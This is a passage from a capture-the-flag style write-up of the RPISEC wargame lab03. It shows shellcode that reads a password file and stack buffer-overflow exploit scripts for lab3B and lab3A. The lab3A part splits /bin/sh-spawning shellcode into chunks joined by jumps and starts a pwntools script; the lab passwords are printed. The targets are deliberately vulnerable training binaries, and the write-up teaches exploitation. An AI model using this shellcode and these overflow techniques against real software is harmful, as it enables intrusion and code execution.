0x3\t\t; 3 = sys_read\r\n  mov ecx, esp\t\t; buf\r\n  mov edx, 100\r\n  int 0x80\r\n\r\n  mov eax, 0x4\t\t; 4 = sys_write\r\n  mov ebx, 1\t\t; stdout\r\n  mov ecx, esp\r\n  mov edx, 100\r\n  int 0x80\r\n<\/pre>\n<p>On lines 6-10 the string <code>\"\/home\/lab3A\/.pass\"<\/code> is pushed on the stack. The address of the string is moved to <code>ecx<\/code> (line 13), which is one of the arguments passed to the syscall <code>open<\/code> (lines 12-16). On line 18 <code>esp<\/code> is decreased by 100 in order to reserve space on the stack for a buffer passed as argument to the syscall <code>read<\/code> (lines 19-23). And finally the read buffer is printed using the syscall <code>write<\/code> (lines 25-29).<\/p>\n<p>Now we can use <code>nasm<\/code> and <code>ld<\/code> to test our shellcode.<\/p>\n<p>At first I created a <code>.pass<\/code> file with some secret content in the target directory on my local system:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~# mkdir \/home\/lab3A\r\nroot@kali:~# echo &quot;secret_content&quot; &gt; \/home\/lab3A\/.pass\r\n<\/pre>\n<p>Next <code>nasm<\/code> and <code>ld<\/code> can be used to create a executable binary:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~# nasm -felf -o shellcode.o shellcode.asm\r\nroot@kali:~# ld -melf_i386 shellcode.o -o shellcode\r\nroot@kali:~# .\/shellcode \r\nsecret_content\r\nSegmentation fault\r\n<\/pre>\n<p>Great! The content of the <code>.pass<\/code> file is displayed. After that the program raises a segmentation fault because we don&#8217;t gracefully shut it down, but that should not matter for now.<\/p>\n<p>Now we have to add our shellcode to the python script we used formerly to determine the location of the return address.<\/p>\n<p>We can use <code>r2<\/code> to extract the shellcode hex string from the binary we created:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048060]&gt; pdf @ entry0\r\n            ;-- section..text:\r\n            ;-- _start:\r\n\/ (fcn) entry0 234\r\n|   entry0 ();\r\n|           0x08048060      6a73           push 0x73                   ; 's' ; 's' ; &quot;hom\\xb8\\x05&quot; ; section 1 va=0x08048060 pa=0x00000060 sz=73 vsz=73 rwx=--r-x .text\r\n|       |   0x08048062      682e706173     push 0x7361702e\r\n|     |||   0x08048067      686233412f     push 0x2f413362\r\n|     |||   0x0804806c      68652f6c61     push 0x616c2f65\r\n|     |||   0x08048071      682f686f6d     push 0x6d6f682f\r\n|     |||   0x08048076      b805000000     mov eax, 5\r\n|     |||   0x0804807b      89e3           mov ebx, esp\r\n|     |||   0x0804807d      31c9           xor ecx, ecx\r\n|     |||   0x0804807f      31d2           xor edx, edx\r\n|     |||   0x08048081      cd80           int 0x80\r\n|     |||   0x08048083      83ec64         sub esp, 0x64               ; 'd'\r\n|     |||   0x08048086      89c3           mov ebx, eax\r\n|     |||   0x08048088      b803000000     mov eax, 3\r\n|     |||   0x0804808d      89e1           mov ecx, esp\r\n|     |||   0x0804808f      ba64000000     mov edx, 0x64               ; 'd' ; &quot;pashb3A\/he\/lah\/hom\\xb8\\x05&quot;\r\n|     |||   0x08048094      cd80           int 0x80\r\n|     |||   0x08048096      b804000000     mov eax, 4\r\n|     |||   0x0804809b      bb01000000     mov ebx, 1\r\n|     |||   0x080480a0      89e1           mov ecx, esp\r\n|     |||   0x080480a2      ba64000000     mov edx, 0x64               ; 'd' ; &quot;pashb3A\/he\/lah\/hom\\xb8\\x05&quot;\r\n|     |||   0x080480a7      cd80           int 0x80\r\n...\r\n<\/pre>\n<p><code>r2<\/code> can also print a buffer as a c-style declaration:<\/p>\n<pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048060]&gt; pc 73 @ entry0 \r\n#define _BUFFER_SIZE 73\r\nconst uint8_t buffer&#x5B;73] = {\r\n  0x6a, 0x73, 0x68, 0x2e, 0x70, 0x61, 0x73, 0x68, 0x62, 0x33,\r\n  0x41, 0x2f, 0x68, 0x65, 0x2f, 0x6c, 0x61, 0x68, 0x2f, 0x68,\r\n  0x6f, 0x6d, 0xb8, 0x05, 0x00, 0x00, 0x00, 0x89, 0xe3, 0x31,\r\n  0xc9, 0x31, 0xd2, 0xcd, 0x80, 0x83, 0xec, 0x64, 0x89, 0xc3,\r\n  0xb8, 0x03, 0x00, 0x00, 0x00, 0x89, 0xe1, 0xba, 0x64, 0x00,\r\n  0x00, 0x00, 0xcd, 0x80, 0xb8, 0x04, 0x00, 0x00, 0x00, 0xbb,\r\n  0x01, 0x00, 0x00, 0x00, 0x89, 0xe1, 0xba, 0x64, 0x00, 0x00,\r\n  0x00, 0xcd, 0x80\r\n};\r\n<\/pre>\n<p>We have to adjust this a little bit to fit the python declaration and then finalize our python-script:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab3B@warzone:\/levels\/lab03$ cat \/tmp\/lab3B_exploit.py\r\nimport sys\r\n\r\nshellcode = &quot;\\x6a\\x73\\x68\\x2e\\x70\\x61\\x73\\x68\\x62\\x33&quot;\\\r\n            &quot;\\x41\\x2f\\x68\\x65\\x2f\\x6c\\x61\\x68\\x2f\\x68&quot;\\\r\n            &quot;\\x6f\\x6d\\xb8\\x05\\x00\\x00\\x00\\x89\\xe3\\x31&quot;\\\r\n            &quot;\\xc9\\x31\\xd2\\xcd\\x80\\x83\\xec\\x64\\x89\\xc3&quot;\\\r\n            &quot;\\xb8\\x03\\x00\\x00\\x00\\x89\\xe1\\xba\\x64\\x00&quot;\\\r\n            &quot;\\x00\\x00\\xcd\\x80\\xb8\\x04\\x00\\x00\\x00\\xbb&quot;\\\r\n            &quot;\\x01\\x00\\x00\\x00\\x89\\xe1\\xba\\x64\\x00\\x00&quot;\\\r\n            &quot;\\x00\\xcd\\x80&quot;\r\n\r\nsys.stdout.write(&quot;\\x90&quot;*(128-len(shellcode)))\r\nsys.stdout.write(shellcode)\r\nsys.stdout.write(&quot;\\x90&quot; * 28)\r\n\r\nsys.stdout.write(&quot;\\x80\\xf6\\xff\\xbf&quot;)\r\n<\/pre>\n<p>On line 13 a nop-sled followed by our shellcode (line 14) is printed. This will fill the 128 bytes of buffer. As we have figured out, the offset of the return address is 156 bytes. That&#8217;s why we must print another 28 bytes (line 15) followed by the address we want to write to the return address (line 17).<\/p>\n<p>Let&#8217;s give it a try:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab3B@warzone:\/levels\/lab03$ python \/tmp\/lab3B_exploit.py &gt; \/tmp\/out3B\r\nlab3B@warzone:\/levels\/lab03$ .\/lab3B &lt; \/tmp\/out3B\r\njust give me some shellcode, k\r\n\r\n<\/pre>\n<p>Nothing is printed :\/ Our shellcode was obviously not executed. What the reason for this?<\/p>\n<p>The address we used to overwrite the return address was determined when analysing the binary with <code>gdb<\/code>. Since <code>gdb<\/code> is running in another environment the stack addresses may vary when executing the binary directly. We can simply adjust the address a little bit:<\/p>\n<pre class=\"brush: python; first-line: 17; title: ; notranslate\" title=\"\">\r\n#sys.stdout.write(&quot;\\x80\\xf6\\xff\\xbf&quot;)\r\nsys.stdout.write(&quot;\\x40\\xf6\\xff\\xbf&quot;)\r\n<\/pre>\n<p>&#8230; and then retry our exploit:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab3B@warzone:\/levels\/lab03$ python \/tmp\/lab3B_exploit.py &gt; \/tmp\/out3B\r\nlab3B@warzone:\/levels\/lab03$ .\/lab3B &lt; \/tmp\/out3B\r\njust give me some shellcode, k\r\nwh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd\r\n...\r\n<\/pre>\n<p>Nice! <code>0xbffff640<\/code> worked \ud83d\ude42<\/p>\n<p>The password for the next level is <code>wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab3A\">lab3A<\/h1>\n<p>Let&#8217;s get to the last level of this lab. The credentials are <span style=\"color: #ff0000;\">lab3A<\/span> with the password <span style=\"color: #ff0000;\">wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab3A@localhost\r\nlab3A@localhost's password: (wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n\r\nLast login: Sun Jan 21 00:44:44 2018 from localhost\r\n<\/pre>\n<p>As usual the source code is located at <code>\/levels\/lab03\/<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [11,18,22,25,35,54,58,61,62,78,90,92,94]; title: ; notranslate\" title=\"\">\r\nlab3A@warzone:\/levels\/lab03$ cat lab3A.c\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &quot;utils.h&quot;\r\n\r\n#define STORAGE_SIZE 100\r\n\r\n\/* gcc -Wall -z execstack -o lab3A lab3A.c *\/\r\n\r\n\/* get a number from the user and store it *\/\r\nint store_number(unsigned int * data)\r\n{\r\n    unsigned int input = 0;\r\n    unsigned int index = 0;\r\n\r\n    \/* get number to store *\/\r\n    printf(&quot; Number: &quot;);\r\n    input = get_unum();\r\n\r\n    \/* get index to store at *\/\r\n    printf(&quot; Index: &quot;);\r\n    index = get_unum();\r\n\r\n    \/* make sure the slot is not reserved *\/\r\n    if(index % 3 == 0 || (input &gt;&gt; 24) == 0xb7)\r\n    {\r\n        printf(&quot; *** ERROR! ***\\n&quot;);\r\n        printf(&quot;   This index is reserved for quend!\\n&quot;);\r\n        printf(&quot; *** ERROR! ***\\n&quot;);\r\n\r\n        return 1;\r\n    }\r\n\r\n    \/* save the number to data storage *\/\r\n    data&#x5B;index] = input;\r\n\r\n    return 0;\r\n}\r\n\r\n\/* returns the contents of a specified storage index *\/\r\nint read_number(unsigned int * data)\r\n{\r\n    unsigned int index = 0;\r\n\r\n    \/* get index to read from *\/\r\n    printf(&quot; Index: &quot;);\r\n    index = get_unum();\r\n\r\n    printf(&quot; Number at data&#x5B;%u] is %u\\n&quot;, index, data&#x5B;index]);\r\n\r\n    return 0;\r\n}\r\n\r\nint main(int argc, char * argv&#x5B;], char * envp&#x5B;])\r\n{\r\n    int res = 0;\r\n    char cmd&#x5B;20] = {0};\r\n    unsigned int data&#x5B;STORAGE_SIZE] = {0};\r\n\r\n    \/* doom doesn't like enviroment variables *\/\r\n    clear_argv(argv);\r\n    clear_envp(envp);\r\n\r\n    printf(&quot;----------------------------------------------------\\n&quot;\\\r\n           &quot;  Welcome to quend's crappy number storage service!  \\n&quot;\\\r\n           &quot;----------------------------------------------------\\n&quot;\\\r\n           &quot; Commands:                                          \\n&quot;\\\r\n           &quot;    store - store a number into the data storage    \\n&quot;\\\r\n           &quot;    read  - read a number from the data storage     \\n&quot;\\\r\n           &quot;    quit  - exit the program                        \\n&quot;\\\r\n           &quot;----------------------------------------------------\\n&quot;\\\r\n           &quot;   quend has reserved some storage for herself :&gt;    \\n&quot;\\\r\n           &quot;----------------------------------------------------\\n&quot;\\\r\n           &quot;\\n&quot;);\r\n\r\n\r\n    \/* command handler loop *\/\r\n    while(1)\r\n    {\r\n        \/* setup for this loop iteration *\/\r\n        printf(&quot;Input command: &quot;);\r\n        res = 1;\r\n\r\n        \/* read user input, trim newline *\/\r\n        fgets(cmd, sizeof(cmd), stdin);\r\n        cmd&#x5B;strlen(cmd)-1] = '&#92;&#48;';\r\n\r\n        \/* select specified user command *\/\r\n        if(!strncmp(cmd, &quot;store&quot;, 5))\r\n            res = store_number(data);\r\n        else if(!strncmp(cmd, &quot;read&quot;, 4))\r\n            res = read_number(data);\r\n        else if(!strncmp(cmd, &quot;quit&quot;, 4))\r\n            break;\r\n\r\n        \/* print the result of our command *\/\r\n        if(res)\r\n            printf(&quot; Failed to do %s command\\n&quot;, cmd);\r\n        else\r\n            printf(&quot; Completed %s command successfully\\n&quot;, cmd);\r\n\r\n        memset(cmd, 0, sizeof(cmd));\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;> In the <code>main<\/code> function (beginning on line 54) an <code>unsigned int<\/code> array called <code>data<\/code> is defined (line 58)<br \/>\n&#8211;> The array contains 100 elements (<code>STORAGE_SIZE<\/code>) which equals 400 byte (<code>unsigned int<\/code> = 4 byte)<br \/>\n&#8211;> Passed arguments to the program and environment variables are cleared (line 61-62). This prevents us from placing shellcode there.<br \/>\n&#8211;> The <code>command handler loop<\/code> (line 78) prompts the user to input a command, which is than executed.<br \/>\n&#8211;> There are three commands: <code>store<\/code> (line 90), <code>read<\/code> (line 92) and <code>quit<\/code> (line 94)<br \/>\n&#8211;> When <code>store<\/code> is entered, the function <code>store_number<\/code> on line 11 is called.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Within the function a number and an index can be entered (line 18, 22).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; The number is stored at the index within the <code>data<\/code> array (line 35) if two conditions are met (line 25):<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+ <code>index<\/code> modulo <code>3<\/code> should not equal <code>0<\/code><br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+ the most significant byte of <code>number<\/code> should not be <code>0xb7<\/code><br \/>\n&#8211;> When <code>read<\/code> is entered, the function <code>read_number<\/code> on line 41 is called and the value at a given index can be read.<br \/>\n&#8211;> When <code>quit<\/code> is entered, the loop as well as the whole program is quit.<\/p>\n<p>The first question is: Where is a vulnerability within the program?<\/p>\n<p>Within the function <code>store_number<\/code> an arbitrary index can be entered. The only condition is, that the equation <code>index % 3 != 0<\/code> is fulfilled. There is no further boundary checking and we can thus write outside of the actual <code>data<\/code> array. As the array is defined as a local variable in the <code>main<\/code> function, it is stored on the stack and we can overwrite the return address of the <code>main<\/code> function.<\/p>\n<h2>overwrite return address<\/h2>\n<p>In order to overwrite the return address we have to determine where the buffer and the return address are located on the stack and then calculate the offset. This can be done using <code>gdb<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,14,17,19,21]; title: ; notranslate\" title=\"\">\r\nlab3A@warzone:\/levels\/lab03$ gdb lab3A\r\nReading symbols from lab3A...(no debugging symbols found)...done.\r\ngdb-peda$ disassemble main\r\nDump of assembler code for function main:\r\n   0x08048a12 &lt;+0&gt;:     push   ebp\r\n   0x08048a13 &lt;+1&gt;:     mov    ebp,esp\r\n   0x08048a15 &lt;+3&gt;:     push   edi\r\n   0x08048a16 &lt;+4&gt;:     push   ebx\r\n   0x08048a17 &lt;+5&gt;:     and    esp,0xfffffff0\r\n   0x08048a1a &lt;+8&gt;:     sub    esp,0x1c0\r\n   ...\r\n   0x08048b60 &lt;+334&gt;:   lea    eax,&#x5B;esp+0x18]\r\n   0x08048b64 &lt;+338&gt;:   mov    DWORD PTR &#x5B;esp],eax\r\n   0x08048b67 &lt;+341&gt;:   call   0x8048917 &lt;store_number&gt;\r\n   ...\r\n   0x08048c3a &lt;+552&gt;:   pop    ebp\r\n   0x08048c3b &lt;+553&gt;:   ret\r\nEnd of assembler dump.\r\ngdb-peda$ b *main+341\r\nBreakpoint 1 at 0x8048b67\r\ngdb-peda$ b *main+553\r\nBreakpoint 2 at 0x8048c3b\r\n<\/pre>\n<p>We set two breakpoints: The first one before the call to <code>store_number<\/code> because the address of <code>data<\/code> is passed as an argument and the second on at the <code>ret<\/code> instruction of the <code>main<\/code> function in order to determine the location of the return address.<\/p>\n<p>Now we simply run the program:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,14]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab03\/lab3A\r\n----------------------------------------------------\r\n  Welcome to quend's crappy number storage service!\r\n----------------------------------------------------\r\n Commands:\r\n    store - store a number into the data storage\r\n    read  - read a number from the data storage\r\n    quit  - exit the program\r\n----------------------------------------------------\r\n   quend has reserved some storage for herself :&gt;\r\n----------------------------------------------------\r\n\r\nInput command: store\r\n<\/pre>\n<p>&#8230; and enter the command <code>store<\/code> in order to get to our first breakpoint:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [15,16,24]; title: ; notranslate\" title=\"\">\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xbffff568 --&gt; 0x0\r\nEBX: 0xbffff568 --&gt; 0x0\r\nECX: 0x65 ('e')\r\nEDX: 0xbffff6f8 (&quot;store&quot;)\r\nESI: 0x0\r\nEDI: 0xbffff6f8 (&quot;store&quot;)\r\nEBP: 0xbffff718 --&gt; 0x0\r\nESP: 0xbffff550 --&gt; 0xbffff568 --&gt; 0x0\r\nEIP: 0x8048b67 (&lt;main+341&gt;:     call   0x8048917 &lt;store_number&gt;)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8048b5e &lt;main+332&gt;:        jne    0x8048b75 &lt;main+355&gt;\r\n   0x8048b60 &lt;main+334&gt;:        lea    eax,&#x5B;esp+0x18]\r\n   0x8048b64 &lt;main+338&gt;:        mov    DWORD PTR &#x5B;esp],eax\r\n=&gt; 0x8048b67 &lt;main+341&gt;:        call   0x8048917 &lt;store_number&gt;\r\n   0x8048b6c &lt;main+346&gt;:        mov    DWORD PTR &#x5B;esp+0x1bc],eax\r\n   0x8048b73 &lt;main+353&gt;:        jmp    0x8048bd2 &lt;main+448&gt;\r\n   0x8048b75 &lt;main+355&gt;:        mov    DWORD PTR &#x5B;esp+0x8],0x4\r\n   0x8048b7d &lt;main+363&gt;:        mov    DWORD PTR &#x5B;esp+0x4],0x8048f63\r\nGuessed arguments:\r\narg&#x5B;0]: 0xbffff568 --&gt; 0x0\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff550 --&gt; 0xbffff568 --&gt; 0x0\r\n0004| 0xbffff554 --&gt; 0x8048f5d (&quot;store&quot;)\r\n0008| 0xbffff558 --&gt; 0x5\r\n0012| 0xbffff55c --&gt; 0x0\r\n0016| 0xbffff560 --&gt; 0xb7fff55c --&gt; 0xb7fde000 --&gt; 0x464c457f\r\n0020| 0xbffff564 --&gt; 0xbffff5c8 --&gt; 0x0\r\n0024| 0xbffff568 --&gt; 0x0\r\n0028| 0xbffff56c --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x08048b67 in main ()\r\n<\/pre>\n<p>The breakpoint stopped the execution right before the call to <code>store_number<\/code>. The last instruction pushed the address of <code>data<\/code> on the stack. Thus the first item on the stack is the address we are looking for: <code>0xbffff568<\/code>.<\/p>\n<p>Now we can continue the execution:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,4,6]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n Number: 1337\r\n Index: 1\r\n Completed store command successfully\r\nInput command: quit\r\n<\/pre>\n<p>As we function <code>store_number<\/code> has been called, we enter some number and an index which meets the requirements (<code>index % 3 != 0<\/code>). After that we enter the command <code>quit<\/code> in order to leave the program and hit our second breakpoint:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [16,22]; title: ; notranslate\" title=\"\">\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x0\r\nEBX: 0xb7fcd000 --&gt; 0x1a9da8\r\nECX: 0x74 ('t')\r\nEDX: 0xbffff6f8 (&quot;quit&quot;)\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0x0\r\nESP: 0xbffff71c --&gt; 0xb7e3ca83 (&lt;__libc_start_main+243&gt;:        mov    DWORD PTR &#x5B;esp],eax)\r\nEIP: 0x8048c3b (&lt;main+553&gt;:     ret)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8048c38 &lt;main+550&gt;:        pop    ebx\r\n   0x8048c39 &lt;main+551&gt;:        pop    edi\r\n   0x8048c3a &lt;main+552&gt;:        pop    ebp\r\n=&gt; 0x8048c3b &lt;main+553&gt;:        ret\r\n   0x8048c3c:   xchg   ax,ax\r\n   0x8048c3e:   xchg   ax,ax\r\n   0x8048c40 &lt;__libc_csu_init&gt;: push   ebp\r\n   0x8048c41 &lt;__libc_csu_init+1&gt;:       push   edi\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff71c --&gt; 0xb7e3ca83 (&lt;__libc_start_main+243&gt;:       mov    DWORD PTR &#x5B;esp],eax)\r\n0004| 0xbffff720 --&gt; 0x1\r\n0008| 0xbffff724 --&gt; 0xbffff7b8 --&gt; 0x0\r\n0012| 0xbffff728 --&gt; 0xbffff814 --&gt; 0x0\r\n0016| 0xbffff72c --&gt; 0xb7feccea (&lt;call_init+26&gt;:        add    ebx,0x12316)\r\n0020| 0xbffff730 --&gt; 0x1\r\n0024| 0xbffff734 --&gt; 0xbffff7b4 --&gt; 0xbffff8d3 --&gt; 0x0\r\n0028| 0xbffff738 --&gt; 0xbffff754 --&gt; 0x94468690\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 2, 0x08048c3b in main ()\r\n<\/pre>\n<p>The execution stopped before the <code>ret<\/code> instruction. Thus the return address is located at the top of the stack which is the address <code>0xbffff71c<\/code>.<\/p>\n<p>Now we have got the address of the <code>data<\/code> buffer (<code>0xbffff568<\/code>) and the return address (<code>0xbffff71c<\/code>). Nevertheless remember that these addresses may vary slightly if the binary is not executed in <code>gdb<\/code>.<\/p>\n<p>The offset to the return address is <code>0xbffff71c - 0xbffff568 = 436<\/code> byte.<\/p>\n<h2>shellcode<\/h2>\n<p>Since we can control the instruction pointer now, we have to deploy a shellcode which should be executed.<\/p>\n<p>Where can we store our shellcode? As we have already seen, we cannot use arguments to the program or environment variables. So the obvious place seems to be the <code>data<\/code> buffer. As we figured out, there are some restriction for that buffer:<br \/>\n&#8211;> <code>index % 3 != 0<\/code><br \/>\n&#8211;> <code>number >> 24 != 0xb7<\/code><\/p>\n<p>That means that we can only store two adjacent 4-byte values, followed by one reserved 4-byte value:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_01.png\" alt=\"\" width=\"960\" height=\"190\" class=\"alignnone size-full wp-image-344\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_01.png 960w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_01-300x59.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_01-768x152.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>We can only use the blue coloured bytes for our shellcode. The red bytes contain 0, because the array has been initialized with 0, and we cannot store a value here.<\/p>\n<p>What would happen if we store our shellcode in the blue bytes with the red gaps in between? After the last instruction stored in the blue area, the processor would proceed to interpret the next byte in the red area as an instruction and raise an exception because <code>0x00<\/code> is not a legal instruction.<\/p>\n<p>Thus we have to prevent the red bytes from being executed by jumping over these bytes:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_02.png\" alt=\"\" width=\"960\" height=\"190\" class=\"alignnone size-full wp-image-345\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_02.png 960w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_02-300x59.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_02-768x152.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The op-code <code>eb 04<\/code> defines a relative jump of 4 bytes from the current position. Thus we can make the processor continue the execution in the next blue area.<\/p>\n<p>As you can see in the picture we have to split our shellcode in 6 bytes chunks. We must also consider that the values are written as 4-byte unsigned integers being stored in little endian.<\/p>\n<p>As a starting point I used the shellcode from the first level of this lab, which simply spawns a <code>\/bin\/sh<\/code> shell (I truncated the syscall of <code>exit<\/code>):<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\n31 c0                 xor    eax, eax\r\n50                    push   eax\r\n68 2f 2f 73 68        push   0x68732f2f\r\n68 2f 62 69 6e        push   0x6e69622f\r\n89 e3                 mov    ebx, esp\r\n89 c1                 mov    ecx, eax\r\n89 c2                 mov    edx, eax\r\nb0 0b                 mov    al, 0xb\r\ncd 80                 int    0x80\r\n<\/pre>\n<p>When splitting the shellcode into chunks of 6 bytes, we must keep instructions which are a few bytes long in one chunk:<\/p>\n<pre>\r\n31 c0 50\r\n68 2f 2f 73 68\r\n68 2f 62 69 6e \r\n89 e3 89 c1 89 c2 \r\nb0 0b cd 80 \r\n<\/pre>\n<p>Now we need to fill the gaps with <code>nop<\/code> instructions as we would otherwise also run into a null-byte (we can skip the last chunk):<\/p>\n<pre>\r\n31 c0 50 <span style=\"color: #aaaaaa;\">90 90 90<\/span>\r\n68 2f 2f 73 68 <span style=\"color: #aaaaaa;\">90<\/span>\r\n68 2f 62 69 6e <span style=\"color: #aaaaaa;\">90<\/span>\r\n89 e3 89 c1 89 c2 \r\nb0 0b cd 80\r\n<\/pre>\n<p>At next we append the jumps to the next chunk:<\/p>\n<pre>\r\n31 c0 50 <span style=\"color: #aaaaaa;\">90 90 90<\/span> <span style=\"color: #009933\">eb 04<\/span>\r\n68 2f 2f 73 68 <span style=\"color: #aaaaaa;\">90<\/span> <span style=\"color: #009933\">eb 04<\/span>\r\n68 2f 62 69 6e <span style=\"color: #aaaaaa;\">90<\/span> <span style=\"color: #009933\">eb 04<\/span>\r\n89 e3 89 c1 89 c2 <span style=\"color: #009933\">eb 04<\/span>\r\nb0 0b cd 80\r\n<\/pre>\n<p>At last we convert the values to 4-byte unsigned integers (little endian):<\/p>\n<pre>\r\n0x<span style=\"color: #aaaaaa;\">90<\/span>50c031\r\n0x<span style=\"color: #009933\">04eb<\/span><span style=\"color: #aaaaaa;\">9090<\/span>\r\n0x732f2f68\r\n0x<span style=\"color: #009933\">04eb<\/span><span style=\"color: #aaaaaa;\">90<\/span>68\r\n0x69622f68\r\n0x<span style=\"color: #009933\">04eb<\/span><span style=\"color: #aaaaaa;\">90<\/span>6e\r\n0xc189e389\r\n0x<span style=\"color: #009933\">04eb<\/span>c289\r\n0x08cd0bb0\r\n<\/pre>\n<p>If we now store the values at the correct index, the resulting memory looks like this:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_03.png\" alt=\"\" width=\"960\" height=\"190\" class=\"alignnone size-full wp-image-346\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_03.png 960w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_03-300x59.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/shellcode_03-768x152.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>In order to do this I wrote the following python-script using <code>pwntools<\/code>:<\/p>\n<pre class=\"brush: python; highlight: [13,17,18,50,51]; title: ; notranslate\" title=\"\">\r\nlab3A@warzone:~$ cat \/tmp\/exploit_lab3A.py\r\nfrom pwn import *\r\n\r\ndef store(p, val, idx):\r\n  p.sendline(&quot;store&quot;)\r\n  p.recv(100)\r\n  p.sendline(str(val))\r\n  p.recv(100)\r\n  p.sendline(str(idx))\r\n  print(p.recv(100))\r\n\r\n# start up program and read inital output\r\np = process(&quot;.\/lab3A&quot;)\r\np.recv(1000)\r\n\r\n# overwrite return address\r\naddr = int(sys.argv&#x5B;1], 16)\r\nstore(p, addr, 109)\r\n\r\n# store shellcode\r\nstore(p, 0x90909090, 1)\r\nstore(p, 0x04eb9090, 2)\r\n\r\nstore(p, 0x90909090, 4)\r\nstore(p, 0x04eb9090, 5)\r\n\r\nstore(p, 0x90909090, 7)\r\nstore(p, 0x04eb9090, 8)\r\n\r\nstore(p, 0x90909090, 10)\r\nstore(p, 0x04eb9090, 